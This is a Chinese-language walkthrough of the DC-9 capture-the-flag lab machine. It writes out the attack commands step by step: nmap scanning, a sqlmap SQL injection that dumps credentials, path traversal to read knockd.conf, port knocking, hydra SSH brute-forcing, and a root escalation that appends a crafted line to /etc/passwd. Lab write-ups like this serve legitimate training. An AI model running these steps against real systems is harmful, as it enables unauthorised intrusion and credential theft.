DC-9靶机通关笔记

一、主机发现

复制代码
arp-scan -l

靶机ip为192.168.55.159

二、端口扫描、目录枚举、漏洞扫描、指纹识别

2.1端口扫描

复制代码
nmap --min-rate 10000 -p- 192.168.55.159

发现只开放了80端口,看来要在网页中进行信息收集了

很奇怪的是22端口没有开放

UDP端口扫描

复制代码
nmap -sU --min-rate 10000 -p- 192.168.55.159

靶机没有开放UDP端口

2.2目录枚举

复制代码
dirb http://192.168.55.159

扫出来了很多目录,访问后没啥信息

2.3漏洞扫描

复制代码
nmap --script=vuln -p22,80 192.168.55.159

无明显漏洞

2.4指纹识别

复制代码
nmap 192.168.55.159 -sV -sC -O --version-all

三、进入靶机网站寻找信息,找到低权限账号

访问靶机网页寻找信息

3.1SQL注入

靶机的第二个页面是成员信息,说明有数据库,第三和第四个页面中均含有输入框,尝试sql注入

经过尝试,在第三个页面中的搜索框中存在sql注入

复制代码
1' or 1=1 #

抓包发现注入的参数是search

这边使用sqlmap进行注入了

爆数据库名:

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' --dbs

先看users里面的表

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users --tables

找到了一张表,下面就是爆破字段名

复制代码
 sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users -T UserDetails --columns

下面就是爆破数据

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users -T UserDetails -C username,password --dump

有了账号密码,我们可以去第四个页面进行登陆了

经过尝试,这些都进不去,试试其它的表

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D Staff -T Users -C Password,Username --dump

发现这张表中是admin账号,试试md5解密

密码为:transorbital1

3.2端口敲门

成功登陆后发现多了两个功能点

发现在"Mangage"页面中有提示性信息

尝试一下文件包含

真的存在文件包含

由于22端口是关闭状态,我们需要端口敲门使其开放

通过文件包含可以寻找端口敲门的信息

复制代码
http://192.168.55.159/manage.php?file=../../../../../../etc/knockd.conf

找到了端口敲门的顺序:7469,8475,9842

端口敲门:

复制代码
knock -v 192.168.55.159 7469 8475 9842
nmap -p- 192.168.55.159

22端口成功打开

3.3使用hydra爆破ssh账号密码

将sqlmap爆出来的账号密码作为字典,使用hydra进行ssh服务爆破

首先将内容使用cut命令分割开

复制代码
cat 1.txt | cut -d "|" -f 2 > 2.txt
cat 1.txt | cut -d "|" -f 3 > 3.txt

接着使用hydra进行爆破

复制代码
hydra -L 2.txt -P 3.txt ssh://192.168.55.159

成功找到三个账号密码

四、提权

进入账号中,在janitor账号中找到了隐藏信息

找到了新的密码,继续使用刚刚的user进行爆破

成功爆破出了一个新的账号

登陆该账号

4.1靶机信息收集

4.2sudo提权

随后使用sudo命令查找有无高权限的文件

复制代码
sudo -l

找到了一个test文件

执行一下test文件,提示我们要去 test.py 文件看使用方法

这个程序需要我们提供两个参数,第一个参数是追加的内容,第二个参数是追加的文件

这里提权的方法就很多了,我这里采用的是新建一个root权限的用户,将用户信息追加到/etc/passwd中,然后切换该用户即可

复制代码
openssl passwd -1 -salt 123456 123456
cd /tmp  # 不在tmp目录下echo输出的不对
echo 'pp:$1$123456$wOSEtcyiP2N/IfIl15W6Z0:0:0::/root:/bin/bash' > pp
sudo /opt/devstuff/dist/test/test pp /etc/passwd

密码输入123456即可成功提权!

相关推荐
久绊A几秒前
RAID10 单盘失效降级处理实操
linux·运维·服务器
zbtlink2 分钟前
一楼到四楼,如何实现Wi-Fi信号全覆盖?不同方案详解
网络·智能路由器
xlp666hub4 分钟前
Linux 设备模型学习笔记(2)之 kobject
linux·面试
Ro Jace4 分钟前
传统雷达信号分选方法之SDIF:Improved algorithm for the deinterleaving of radar pulses
网络·人工智能·算法
松涛和鸣4 分钟前
54、DS18B20单线数字温度采集
linux·服务器·c语言·开发语言·数据库
自己的九又四分之三站台4 分钟前
Docker + Ollama 大模型管理
docker·容器·eureka
8K超高清6 分钟前
CES 2026科技看点
网络·人工智能·科技·数码相机·计算机视觉
zbtlink7 分钟前
怎么知道自己家里适合什么样的路由器?
网络·智能路由器
智象科技7 分钟前
高效运维新利器-裸金属自动化重装系统
运维·自动化·it运维·一体化运维
Gofarlic_OMS11 分钟前
MATLAB许可证闲置自动检测与智能提醒
java·大数据·运维·开发语言·人工智能·算法·matlab